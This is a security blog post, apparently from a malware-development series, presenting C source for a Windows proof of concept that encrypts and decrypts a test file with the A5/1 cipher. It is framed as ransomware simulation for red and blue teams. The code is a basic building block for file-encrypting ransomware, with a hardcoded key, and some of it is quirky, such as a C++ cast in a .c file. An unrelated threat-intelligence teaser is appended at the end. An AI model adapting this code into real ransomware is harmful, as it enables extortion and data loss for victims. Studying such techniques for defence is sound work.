voidadd_padding(HANDLEfh){LARGE_INTEGERfs;GetFileSizeEx(fh,&fs);size_tpaddingS=A51_BLOCK_SIZE-(fs.QuadPart%A51_BLOCK_SIZE);if(paddingS!=A51_BLOCK_SIZE){SetFilePointer(fh,0,NULL,FILE_END);for(size_ti=0;i<paddingS;++i){charpaddingB=static_cast<char>(paddingS);WriteFile(fh,&paddingB,1,NULL,NULL);}}}voidremove_padding(HANDLEfileHandle){LARGE_INTEGERfileSize;GetFileSizeEx(fileHandle,&fileSize);// determine the padding sizeDWORDpaddingSize;SetFilePointer(fileHandle,-1,NULL,FILE_END);ReadFile(fileHandle,&paddingSize,1,NULL,NULL);// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){// seek back to the beginning of the paddingSetFilePointer(fileHandle,-paddingSize,NULL,FILE_END);// read and validate the entire paddingBYTE*padding=(BYTE*)malloc(paddingSize);DWORDbytesRead;if(ReadFile(fileHandle,padding,paddingSize,&bytesRead,NULL)&&bytesRead==paddingSize){// check if the padding bytes are validfor(size_ti=0;i<paddingSize;++i){if(padding[i]!=static_cast<char>(paddingSize)){// invalid padding, print an error message or handle it accordinglyprintf("invalid padding found in the file.\n");free(padding);return;}}// truncate the file at the position of the last complete blockSetEndOfFile(fileHandle);}else{// error reading the padding bytes, print an error message or handle it accordinglyprintf("error reading padding bytes from the file.\n");}free(padding);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);}}
The full source code is looks like this hack.c:
/*
* hack.c
* encrypt/decrypt file via GSM A5/1 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8
voida5_1_encrypt(unsignedchar*key,intkey_len,unsignedchar*msg,intmsg_len,unsignedchar*out){// initializationunsignedintR1=0,R2=0,R3=0;for(inti=0;i<64;i++){intfeedback=((key[i%key_len]>>(i/8))&1)^((R1>>18)&1)^((R2>>21)&1)^((R3>>22)&1);R1=(R1<<1)|feedback;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}// encryptionfor(inti=0;i<msg_len;i++){intfeedback=A5_STEP((R1>>8)&1,(R2>>10)&1,(R3>>10)&1);unsignedcharkey_byte=0;for(intj=0;j<8;j++){intbit=A5_STEP((R1>>18)&1,(R2>>21)&1,(R3>>22)&1)^feedback;key_byte|=bit<<j;R1=(R1<<1)|bit;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}out[i]=msg[i]^key_byte;}}voida5_1_decrypt(unsignedchar*key,intkey_len,unsignedchar*cipher,intcipher_len,unsignedchar*out){// initializationunsignedintR1=0,R2=0,R3=0;for(inti=0;i<64;i++){intfeedback=((key[i%key_len]>>(i/8))&1)^((R1>>18)&1)^((R2>>21)&1)^((R3>>22)&1);R1=(R1<<1)|feedback;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}// decryptionfor(inti=0;i<cipher_len;i++){intfeedback=A5_STEP((R1>>8)&1,(R2>>10)&1,(R3>>10)&1);unsignedcharkey_byte=0;for(intj=0;j<8;j++){intbit=A5_STEP((R1>>18)&1,(R2>>21)&1,(R3>>22)&1)^feedback;key_byte|=bit<<j;R1=(R1<<1)|bit;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}out[i]=cipher[i]^key_byte;}}voidadd_padding(HANDLEfh){LARGE_INTEGERfs;GetFileSizeEx(fh,&fs);size_tpaddingS=A51_BLOCK_SIZE-(fs.QuadPart%A51_BLOCK_SIZE);if(paddingS!=A51_BLOCK_SIZE){SetFilePointer(fh,0,NULL,FILE_END);for(size_ti=0;i<paddingS;++i){charpaddingB=static_cast<char>(paddingS);WriteFile(fh,&paddingB,1,NULL,NULL);}}}voidremove_padding(HANDLEfileHandle){LARGE_INTEGERfileSize;GetFileSizeEx(fileHandle,&fileSize);// determine the padding sizeDWORDpaddingSize;SetFilePointer(fileHandle,-1,NULL,FILE_END);ReadFile(fileHandle,&paddingSize,1,NULL,NULL);// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){// seek back to the beginning of the paddingSetFilePointer(fileHandle,-paddingSize,NULL,FILE_END);// read and validate the entire paddingBYTE*padding=(BYTE*)malloc(paddingSize);DWORDbytesRead;if(ReadFile(fileHandle,padding,paddingSize,&bytesRead,NULL)&&bytesRead==paddingSize){// check if the padding bytes are validfor(size_ti=0;i<paddingSize;++i){if(padding[i]!=static_cast<char>(paddingSize)){// invalid padding, print an error message or handle it accordinglyprintf("invalid padding found in the file.\n");free(padding);return;}}// truncate the file at the position of the last complete blockSetEndOfFile(fileHandle);}else{// error reading the padding bytes, print an error message or handle it accordinglyprintf("error reading padding bytes from the file.\n");}free(padding);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);}}voidencrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// calculate the padding sizesize_tpaddingSize=(A51_BLOCK_SIZE-(fileSize.LowPart%A51_BLOCK_SIZE))%A51_BLOCK_SIZE;// pad the file datasize_tpaddedSize=fileSize.LowPart+paddingSize;unsignedchar*paddedData=(unsignedchar*)malloc(paddedSize);memcpy(paddedData,fileData,fileSize.LowPart);memset(paddedData+fileSize.LowPart,static_cast<char>(paddingSize),paddingSize);// encrypt the padded datafor(size_ti=0;i<paddedSize;i+=A51_BLOCK_SIZE){a5_1_encrypt(keyData,A51_KEY_SIZE,paddedData+i,A51_BLOCK_SIZE,paddedData+i);}// write the encrypted data to the output fileDWORDbw;WriteFile(ofh,paddedData,paddedSize,&bw,NULL);printf("a5/1 encryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(paddedData);}voiddecrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// decrypt the file data using A5/1 encryptionfor(DWORDi=0;i<fileSize.LowPart;i+=A51_BLOCK_SIZE){a5_1_decrypt(keyData,A51_KEY_SIZE,fileData+i,A51_BLOCK_SIZE,fileData+i);}// calculate the padding sizesize_tpaddingSize=fileData[fileSize.LowPart-1];// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){size_toriginalSize=fileSize.LowPart-paddingSize;unsignedchar*originalData=(unsignedchar*)malloc(originalSize);memcpy(originalData,fileData,originalSize);// write the decrypted data to the output fileDWORDbw;WriteFile(ofh,originalData,originalSize,&bw,NULL);printf("a5/1 decryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(originalData);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);CloseHandle(ifh);CloseHandle(ofh);free(fileData);}}intmain(){constchar*inputFile="Z:\\test.txt";constchar*outputFile="Z:\\test.txt.a51";constchar*decryptedFile="Z:\\test.txt.a51.decrypted";constchar*key="\x6d\x65\x6f\x77\x6d\x65\x6f\x77";encrypt_file(inputFile,outputFile,key);decrypt_file(outputFile,decryptedFile,key);return0;}
As you can see, as usual, for test I just encrypt file test.txt and decrypt it.
cat test.txt
demo
Letβs see everything in action, compile our PoC code:
and letβs say we have a test.txt file in the Z:\\ path on the victimβs machine:
hexdump -C test.txt
Then just run our application on Windows 11 x64 machine:
.\hack.exe
Letβs check a decrypted and original files, for example via hexdump command:
hexdump -C test.txt.a51.decrypted
As you can see our simple PoC is worked perfectly.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.
Reading Time: 17minutes Kelvin Security and Spectre, investigating possible relationships Introduction The Yarix Cyber Threat Intelligence Team (YCTI) has conducted an investigation that has discovered a possible relationship between the threat actor Kelvin Security with another threat actor called Spectre. This relations was identified through the discovery and analysis of an indicator found within an Italian governmental leak [β¦]